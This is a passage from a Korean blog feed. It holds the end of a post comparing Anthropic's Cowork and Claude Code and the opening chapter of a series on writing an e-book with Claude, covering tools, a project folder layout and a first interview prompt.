&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# 예: 버그 리포트만 던져도 끝까지 처리&lt;/span&gt;
$ claude &lt;span class=&quot;token string&quot;&gt;&quot;랜딩 페이지 모바일에서 hero 배경이 깨지는 버그 잡고, 회귀 테스트도 추가해줘&quot;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;hr&gt;
&lt;h2&gt;핵심 차이 — &quot;출력물의 형태&quot;가 다르다&lt;/h2&gt;
&lt;p&gt;비교표는 위에 정리했지만, 실전에서 가장 큰 차이는 &lt;strong&gt;무엇이 결과물로 나오느냐&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;입력 (사용자 요청)&lt;/th&gt;
&lt;th&gt;Cowork 결과&lt;/th&gt;
&lt;th&gt;Claude Code 결과&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&quot;월별 매출 정리해줘&quot;&lt;/td&gt;
&lt;td&gt;깔끔한 엑셀·보고서&lt;/td&gt;
&lt;td&gt;매출 집계 스크립트·대시보드&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&quot;이 계약서들 핵심만 뽑아줘&quot;&lt;/td&gt;
&lt;td&gt;표·요약 문서&lt;/td&gt;
&lt;td&gt;추출 자동화 파이프라인&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&quot;신제품 소개 글 초안 잡아줘&quot;&lt;/td&gt;
&lt;td&gt;Google Docs 초안&lt;/td&gt;
&lt;td&gt;블로그 정적 사이트 + 글 커밋&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&quot;이메일 자동 분류 해줘&quot;&lt;/td&gt;
&lt;td&gt;Gmail 라벨·필터 설정&lt;/td&gt;
&lt;td&gt;Gmail API 호출 스크립트&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;같은 문제도 &lt;strong&gt;Cowork는 &quot;결과물&quot;을, Claude Code는 &quot;결과물을 만드는 시스템&quot;을&lt;/strong&gt; 만듭니다. 일회성 업무는 Cowork가, 반복·확장이 필요한 업무는 Claude Code가 강합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;언제 무엇을 써야 할까 — 4가지 판단 기준&lt;/h2&gt;
&lt;h3&gt;1. &quot;코드를 남길 것인가?&quot;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;남긴다&lt;/strong&gt; → Claude Code (변경이 git으로 추적되고 재현 가능)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;안 남긴다&lt;/strong&gt; → Cowork (1회성 정리·요약·작성)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;2. &quot;결과물을 다른 사람에게 넘길 것인가, 내가 쓸 것인가?&quot;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;다른 사람에게 산출물(보고서·문서)을 전달&lt;/strong&gt; → Cowork&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;다른 개발자도 같은 코드를 돌리고 고쳐야 함&lt;/strong&gt; → Claude Code&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;3. &quot;터미널·git이 익숙한가?&quot;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;YES&lt;/strong&gt; → Claude Code의 자율성·강력함을 100% 활용&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;NO&lt;/strong&gt; → Cowork. 진입 장벽 없이 채팅만으로 끝&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;4. &quot;외부 SaaS와 직접 연결해야 하는가?&quot;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Google Drive / Gmail / DocuSign 등 업무 SaaS&lt;/strong&gt; → Cowork 플러그인&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;GitHub / 빌드 시스템 / 데이터베이스 / 사내 API&lt;/strong&gt; → Claude Code + MCP&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;함께 쓰는 법 — 1+1 시나리오&lt;/h2&gt;
&lt;p&gt;둘 중 하나만 쓸 필요는 없습니다. 같은 Anthropic 계정의 같은 유료 플랜에 둘 다 포함되니, &lt;strong&gt;역할 분담&lt;/strong&gt;이 정답에 가깝습니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;시나리오 A — 콘텐츠 크리에이터&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Cowork&lt;/strong&gt;: 자료 조사, 인터뷰 녹취록 정리, 썸네일용 이미지 후보 정리&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Claude Code&lt;/strong&gt;: 블로그 사이트 코드, 자동 발행 스크립트, SEO 메타 자동화&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;시나리오 B — 1인 사업가&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Cowork&lt;/strong&gt;: 견적서·계약서 초안, 거래처별 자료 정리, 메일 응답 초안&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Claude Code&lt;/strong&gt;: 제품 사이트, 결제 연동, 운영 자동화 스크립트&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;시나리오 C — 개발자 본업 + 사이드&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Cowork&lt;/strong&gt;: 회사 자료 요약, 회의록 정리, 분기 리포트 초안&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Claude Code&lt;/strong&gt;: 본업 코드 리뷰·리팩터링, 사이드 프로젝트 전체&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;핵심은 — &lt;strong&gt;&quot;문서·파일은 Cowork, 코드·시스템은 Claude Code&quot;&lt;/strong&gt; 라는 단순한 원칙으로 나누는 것입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;자주 묻는 질문 (FAQ)&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Q1. Cowork는 Claude Code의 상위 호환인가요?&lt;/strong&gt;
아닙니다. &lt;strong&gt;다른 영역&lt;/strong&gt;입니다. Cowork는 데스크톱 채팅 UI에서 문서·파일 업무에 최적화돼 있고, Claude Code는 터미널·IDE에서 코드베이스 작업에 최적화돼 있습니다. 같은 모델이라도 도구 셋·UI·실행 환경이 다릅니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q2. 둘 다 쓰려면 추가 결제가 필요한가요?&lt;/strong&gt;
Cowork는 &lt;a href=&quot;https://www.anthropic.com/pricing&quot;&gt;모든 유료 플랜&lt;/a&gt;에 기본 포함되어 별도 구매가 필요 없습니다. Claude Code는 동일 구독 안에서 사용량이 합산되며, API 종량제로도 쓸 수 있습니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q3. Cowork도 명령 실행이 가능한가요?&lt;/strong&gt;
네, 권한을 준 폴더와 연결된 앱 범위 안에서 파일 생성·수정, 외부 SaaS API 호출 등이 가능합니다. 다만 &lt;strong&gt;터미널 명령 자유 실행은 Claude Code의 영역&lt;/strong&gt;이며, Cowork는 보다 안전한 사용자 친화적 액션 셋으로 제한되어 있습니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q4. 비개발자인데 Claude Code를 쓰는 게 이득인 경우가 있을까요?&lt;/strong&gt;
있습니다. &lt;strong&gt;반복 업무를 자동화하고 싶은데 매번 손으로 하기 싫을 때&lt;/strong&gt;가 그렇습니다. 예: 매주 똑같은 파일 정리·발송. Cowork로 한 번 시킬 수 있지만, Claude Code로 스크립트 한 번 만들어 두면 다음부터는 클릭 한 번이면 끝입니다. 이 블로그의 &lt;a href=&quot;/beginner-guide-2026/&quot;&gt;Claude Code 입문 가이드 2026&lt;/a&gt;에서 비개발자가 시작하는 방법도 정리해뒀습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;마무리&lt;/h2&gt;
&lt;p&gt;Anthropic의 두 에이전트는 &lt;strong&gt;&quot;AI가 일을 한다&quot;&lt;/strong&gt; 는 같은 약속을 두 청중에게 다르게 전달합니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;키보드 위에 손을 얹지 않고도 일이 굴러갔으면 좋겠다 → &lt;strong&gt;Cowork&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;키보드 위에서 더 빨리, 더 멀리 가고 싶다 → &lt;strong&gt;Claude Code&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;저는 둘 다 쓰고 있습니다. 회사 자료·블로그 외 잡무는 Cowork가 처리하고, 블로그 사이트·자동화 스크립트·이 글의 초안 다듬기는 Claude Code가 처리합니다. &lt;strong&gt;시간을 어디에 쓰는가가 바뀌면, 만들 수 있는 결과물의 종류도 바뀝니다.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;여러분은 둘 중 어느 쪽이 먼저 끌리시나요? 혹은 이미 두 도구를 함께 쓰고 계신다면 어떤 분담이 가장 잘 맞으셨는지, 댓글로 공유해주시면 다음 글에 반영하겠습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;참고 링크&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.anthropic.com/product/claude-cowork&quot;&gt;Claude Cowork 공식 페이지 — Anthropic&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://claude.com/product/cowork&quot;&gt;Cowork: Claude Code power for knowledge work — Claude.com&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.claude.com/en/docs/claude-code&quot;&gt;Claude Code 공식 문서&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://techcrunch.com/2026/01/30/anthropic-brings-agentic-plugins-to-cowork/&quot;&gt;Anthropic brings agentic plug-ins to Cowork — TechCrunch&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;블로그 내 관련 글: &lt;a href=&quot;/beginner-guide-2026/&quot;&gt;Claude Code 입문 가이드 2026&lt;/a&gt;, &lt;a href=&quot;/token-saving-beginner/&quot;&gt;Claude Code 토큰 절약 — 입문편&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Claude 책 만들기 #1 — 시작 전 준비: 도구 4가지와 첫 폴더 만들기]]></title><description><![CDATA[Claude 책 만들기 #1 — 시작 전 준비: 도구 4가지와 첫 폴더 만들기 "책 한 권 정도는 쓰고 싶은데, 시간이 없어서요." 가장 많이 듣는 말입니다. 솔직히 저도 그랬고요. 그런데 AI…]]></description><link>https://blog.javapark.kr/book-making-01-getting-started/</link><guid isPermaLink="false">https://blog.javapark.kr/book-making-01-getting-started/</guid><pubDate>Sun, 26 Apr 2026 21:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;img src=&quot;https://github.com/javapark/blog-images/releases/download/images-v1/book-making-01-getting-started.png&quot; alt=&quot;Claude 책 만들기 #1 — 시작 전 준비: 도구 4가지와 첫 폴더 만들기&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;책 한 권 정도는 쓰고 싶은데, 시간이 없어서요.&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;가장 많이 듣는 말입니다. 솔직히 저도 그랬고요. 그런데 AI 도구가 글쓰기·구조 설계·디자인·빌드까지 함께 거들어주는 지금은, &lt;strong&gt;8주에 한 챕터씩&lt;/strong&gt;만 쌓으면 한 권이 만들어집니다.&lt;/p&gt;
&lt;p&gt;안녕하세요, &lt;strong&gt;자바파커&lt;/strong&gt;입니다. 오늘부터 새 시리즈를 시작합니다 — &lt;strong&gt;Claude 책 만들기&lt;/strong&gt;. 8주에 걸쳐 전자책 「&lt;strong&gt;나만의 책만들기&lt;/strong&gt;」를 &lt;strong&gt;빌드 인 퍼블릭&lt;/strong&gt; 방식으로 함께 만듭니다. 더 강력한 점은 &lt;strong&gt;이 책 자체가 자기 제작 과정을 보여주는 책&lt;/strong&gt;이라는 것입니다. 즉 지금 보고 계신 이 글 자체가 그 책의 &lt;strong&gt;1장 초안&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;p&gt;결론부터 말씀드리면 — &lt;strong&gt;1장의 목표는 &quot;오늘 폴더 하나를 만들고, Claude와 첫 대화를 끝내는 것&quot;&lt;/strong&gt; 입니다. 8주 챌린지의 출발선이자, 가장 작은 한 걸음입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;누구나 책을 쓸 수 있는 시대&lt;/h2&gt;
&lt;p&gt;5년 전이라면 책 한 권을 만든다는 건 적어도 다음을 의미했습니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;50,000자 이상의 원고를 처음부터 끝까지 직접 쓰기&lt;/li&gt;
&lt;li&gt;출판사 검토 → 편집 → 디자인 → 인쇄 → 유통 (수개월~수년)&lt;/li&gt;
&lt;li&gt;표지·내지·일러스트 외주 또는 본인이 직접&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;지금은 어떤가요?&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;글쓰기 보조&lt;/strong&gt; — Claude가 초안·문체 정리·논리 검토를 동시에&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;구조 설계&lt;/strong&gt; — outline·차례·페르소나를 대화 한 번으로&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;디자인&lt;/strong&gt; — HTML+CSS로 표지·다이어그램을 30분 내 제작&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;빌드&lt;/strong&gt; — &lt;code class=&quot;language-text&quot;&gt;pandoc&lt;/code&gt; 한 줄로 마크다운 → PDF/EPUB&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;유통&lt;/strong&gt; — 무료 PDF 호스팅, KDP, 리디 셀프 출판이 누구나 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;여전히 &lt;strong&gt;글의 본질(독자에게 무엇을 전할 것인가)&lt;/strong&gt; 은 사람의 몫이지만, &lt;strong&gt;그 외 모든 마찰 비용&lt;/strong&gt;이 사라졌습니다. 이 시리즈가 보여드릴 것은 그 흐름을 어떻게 한 사람이 8주 안에 끝낼 수 있는가입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;우리가 만들 책 — 「나만의 책만들기」&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;항목&lt;/th&gt;
&lt;th&gt;값&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;제목&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;나만의 책만들기&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;부제 가안&lt;/td&gt;
&lt;td&gt;&quot;Claude로 8주 안에 전자책 만들기&quot;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;분량&lt;/td&gt;
&lt;td&gt;약 50p (전자책)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;대상 독자&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;혼합&lt;/strong&gt; — 글쓰기·출판이 처음인 누구나 + Claude를 더 잘 쓰고 싶은 개발자&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;출간 채널&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;무료 PDF 배포&lt;/strong&gt; (1차)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;메타 컨셉&lt;/td&gt;
&lt;td&gt;&quot;이 책 자체가 자기 제작 과정을 보여주는 책&quot;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;읽는 분이 따라하면 &lt;strong&gt;자기만의 50p 전자책 한 권&lt;/strong&gt;을 손에 쥐게 됩니다. 8주 시리즈가 끝나는 시점에 이 책의 PDF도 무료로 배포할 예정입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;8주 챌린지 한눈에&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;주차&lt;/th&gt;
&lt;th&gt;챕터&lt;/th&gt;
&lt;th&gt;핵심&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;W17 (오늘)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;#1 시작 전 준비&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;도구·폴더·마음가짐&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;W18&lt;/td&gt;
&lt;td&gt;#2 콘셉트 잡기&lt;/td&gt;
&lt;td&gt;한 줄 요약·페르소나&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;W19&lt;/td&gt;
&lt;td&gt;#3 차례 짜기&lt;/td&gt;
&lt;td&gt;outline = 진실의 원천&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;W20&lt;/td&gt;
&lt;td&gt;#4 자료 모으기&lt;/td&gt;
&lt;td&gt;블로그·노트 → 책 자료&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;W21&lt;/td&gt;
&lt;td&gt;#5 챕터 쓰기&lt;/td&gt;
&lt;td&gt;빌드 인 퍼블릭의 힘&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;W22&lt;/td&gt;
&lt;td&gt;#6 다듬기·디자인&lt;/td&gt;
&lt;td&gt;표지·다이어그램·문체&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;W23&lt;/td&gt;
&lt;td&gt;#7 빌드·배포&lt;/td&gt;
&lt;td&gt;pandoc → 무료 PDF&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;W24&lt;/td&gt;
&lt;td&gt;#8 마무리·부록&lt;/td&gt;
&lt;td&gt;회고·다음 책&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;W25부터는 8주간 발행한 챕터를 &lt;strong&gt;책 톤으로 정제&lt;/strong&gt;하고 PDF로 묶는 작업이 이어집니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;필요한 도구 4가지&lt;/h2&gt;
&lt;p&gt;가장 자주 받는 질문 — &lt;strong&gt;&quot;무엇부터 깔아야 하나요?&quot;&lt;/strong&gt; — 에 답합니다. 결론부터 말씀드리면 &lt;strong&gt;딱 4가지&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;h3&gt;1. Claude — 글의 동료&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://claude.ai&quot;&gt;claude.ai&lt;/a&gt;에 접속해서 무료 계정만 만들어도 충분합니다. 이 책 시리즈에서 Claude는 &lt;strong&gt;편집자·기획자·디자인 자문&lt;/strong&gt; 역할을 합니다. 비개발자도 대화창 하나로 모든 작업을 합니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;💡 글의 모든 결정(콘셉트·차례·표지 톤)은 사람이 내립니다. Claude는 옵션을 빠르게 제시하고 일관성을 점검하는 도우미입니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;2. Claude Code — 코드·자동화의 동료 (개발자용 사이드)&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;⚠️ &lt;strong&gt;비개발자라면 이 섹션은 건너뛰셔도 됩니다.&lt;/strong&gt; 본문 전체는 Claude(웹)만으로 따라올 수 있게 구성됩니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;a href=&quot;https://docs.claude.com/claude-code/&quot;&gt;Claude Code&lt;/a&gt;는 터미널에서 동작하는 Claude입니다. 책 작업에서는 &lt;strong&gt;자동화&lt;/strong&gt; 영역을 담당합니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;블로그 글을 책 발췌(&lt;code class=&quot;language-text&quot;&gt;drafts/from-blog/&lt;/code&gt;)로 자동 미러&lt;/li&gt;
&lt;li&gt;표지 HTML을 한 번에 PNG로 캡처(Playwright 연동)&lt;/li&gt;
&lt;li&gt;pandoc 빌드 명령을 wrapping&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;3. 마크다운 — 글의 형식&lt;/h3&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;.md&lt;/code&gt; 확장자의 일반 텍스트 파일입니다. 무거운 워드 프로세서 대신 &lt;strong&gt;텍스트 + 약간의 기호&lt;/strong&gt;로 글을 씁니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;markdown&quot;&gt;&lt;pre class=&quot;language-markdown&quot;&gt;&lt;code class=&quot;language-markdown&quot;&gt;&lt;span class=&quot;token title important&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;#&lt;/span&gt; 제목&lt;/span&gt;

&lt;span class=&quot;token title important&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;##&lt;/span&gt; 소제목&lt;/span&gt;

&lt;span class=&quot;token bold&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;**&lt;/span&gt;&lt;span class=&quot;token content&quot;&gt;굵게&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;**&lt;/span&gt;&lt;/span&gt;, &lt;span class=&quot;token italic&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;_&lt;/span&gt;&lt;span class=&quot;token content&quot;&gt;기울임&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;_&lt;/span&gt;&lt;/span&gt;, &lt;span class=&quot;token url&quot;&gt;[&lt;span class=&quot;token content&quot;&gt;링크&lt;/span&gt;](&lt;span class=&quot;token url&quot;&gt;https://...&lt;/span&gt;)&lt;/span&gt;

&lt;span class=&quot;token list punctuation&quot;&gt;-&lt;/span&gt; 목록 1
&lt;span class=&quot;token list punctuation&quot;&gt;-&lt;/span&gt; 목록 2

&lt;span class=&quot;token blockquote punctuation&quot;&gt;&gt;&lt;/span&gt; 인용문&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;이 글 자체도 마크다운으로 작성됐습니다. &lt;strong&gt;포맷에 신경 쓰지 않고 글 자체에 집중&lt;/strong&gt;할 수 있는 게 가장 큰 장점입니다.&lt;/p&gt;
&lt;h3&gt;4. pandoc — 빌드 도구&lt;/h3&gt;
&lt;p&gt;마크다운을 &lt;strong&gt;PDF·EPUB·HTML로 한 번에 변환&lt;/strong&gt;해주는 도구입니다. 7장에서 본격적으로 다룹니다. 지금은 &quot;이런 게 있다&quot; 정도만 기억하세요.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;실습 1 — 작업 폴더 만들기&lt;/h2&gt;
&lt;p&gt;이 책 작업을 위한 디렉토리 구조입니다. &lt;strong&gt;오늘 할 일은 이 폴더를 그대로 만드는 것&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;book/
├── README.md         # 책 메타 정보
├── outline.md        # 전체 차례 (진실의 원천)
├── chapters/         # 정제된 챕터
├── drafts/
│   ├── from-blog/    # 블로그 글 발췌
│   └── reworked/     # 책 톤 재구성 작업장
├── research/
│   ├── notes/        # 자유 메모
│   ├── case-studies/ # 실전 케이스
│   └── references.md # 참고 자료
├── assets/
│   ├── images/       # 표지·다이어그램 PNG
│   └── diagrams/     # HTML 원본
├── build/            # PDF·EPUB 산출물
└── scripts/          # 자동화 스크립트 (개발자만)&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;비개발자 — 파일 탐색기로&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;원하는 위치에 &lt;code class=&quot;language-text&quot;&gt;book&lt;/code&gt; 폴더 생성&lt;/li&gt;
&lt;li&gt;그 안에 위 구조대로 하위 폴더들을 손으로 만들기&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;book/README.md&lt;/code&gt;를 메모장(혹은 Notion·VS Code)으로 새로 만들고 책 제목 한 줄만 적어두기&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;개발자 — 명령어 한 줄로&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token function&quot;&gt;mkdir&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-p&lt;/span&gt; book/&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;chapters,drafts/&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;from-blog,reworked&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;,research/&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;notes,case-studies&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;,assets/&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;images,diagrams&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;,build,scripts&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;오늘은 폴더만 비어 있으면 됩니다. &lt;strong&gt;빈 그릇을 먼저 놓는 것&lt;/strong&gt;이 1장의 핵심입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;실습 2 — Claude와 첫 대화: 책 콘셉트 인터뷰&lt;/h2&gt;
&lt;p&gt;폴더가 만들어지면, Claude를 열고 &lt;strong&gt;딱 5개 질문&lt;/strong&gt;을 받아봅니다. 다음 프롬프트를 그대로 복사해서 붙여 넣어보세요.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;markdown&quot;&gt;&lt;pre class=&quot;language-markdown&quot;&gt;&lt;code class=&quot;language-markdown&quot;&gt;나는 「나만의 책만들기」라는 전자책을 만들고 싶다. 8주에 걸쳐 한 챕터씩 발행하는 빌드 인 퍼블릭 방식이다.

다음 5가지 질문에 차례로 답할 수 있게 하나씩 물어봐 줘.
질문 하나에 답하면 다음 질문으로 넘어가는 식으로.

&lt;span class=&quot;token list punctuation&quot;&gt;1.&lt;/span&gt; 이 책을 한 줄로 요약하면?
&lt;span class=&quot;token list punctuation&quot;&gt;2.&lt;/span&gt; 누구를 위한 책인가? (구체적인 한 사람)
&lt;span class=&quot;token list punctuation&quot;&gt;3.&lt;/span&gt; 이 책을 다 읽은 독자가 얻게 되는 것 한 가지는?
&lt;span class=&quot;token list punctuation&quot;&gt;4.&lt;/span&gt; 비슷한 책과 어떻게 다른가?
&lt;span class=&quot;token list punctuation&quot;&gt;5.&lt;/span&gt; 8주가 끝나는 시점에 어떤 모습이 되고 싶은가?&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Claude가 한 번에 한 질문씩 던집니다. &lt;strong&gt;5개 답변을 다 마치는 것&lt;/strong&gt;이 오늘의 두 번째이자 마지막 미션입니다. 답변 자체는 길게 쓸 필요 없고, &lt;strong&gt;떠오르는 그대로&lt;/strong&gt; 적어두세요.&lt;/p&gt;
&lt;p&gt;답변이 끝나면 Claude에게 마지막으로 부탁하세요.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;방금 5개 답변을 책 README의 첫 단락 형태로 정리해줘.&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;받은 결과를 &lt;code class=&quot;language-text&quot;&gt;book/README.md&lt;/code&gt;에 그대로 복사해두면, 다음 주 #2(콘셉트 잡기)의 출발점이 됩니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;마음가짐 — 완벽보다 발행&lt;/h2&gt;
&lt;p&gt;빌드 인 퍼블릭의 본질은 &lt;strong&gt;완벽한 글을 한 번에 내놓는 것이 아니라, 거친 글을 매주 내놓고 다듬는 것&lt;/strong&gt;입니다. 이 시리즈도 마찬가지입니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;✅ 매주 한 챕터 &lt;strong&gt;반드시 발행&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;✅ 부족한 부분은 댓글·피드백으로 다듬기&lt;/li&gt;
&lt;li&gt;✅ 8주 후 정제 단계에서 책 톤으로 재구성&lt;/li&gt;
&lt;li&gt;❌ &quot;완성 후 한 번에 공개&quot;는 시도하지 않습니다&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;매주 발행 약속이 챌린지의 거의 전부입니다. 글의 완성도는 8주 동안 자연스럽게 따라옵니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;다음 주 예고 (#2 — 콘셉트 잡기)&lt;/h2&gt;
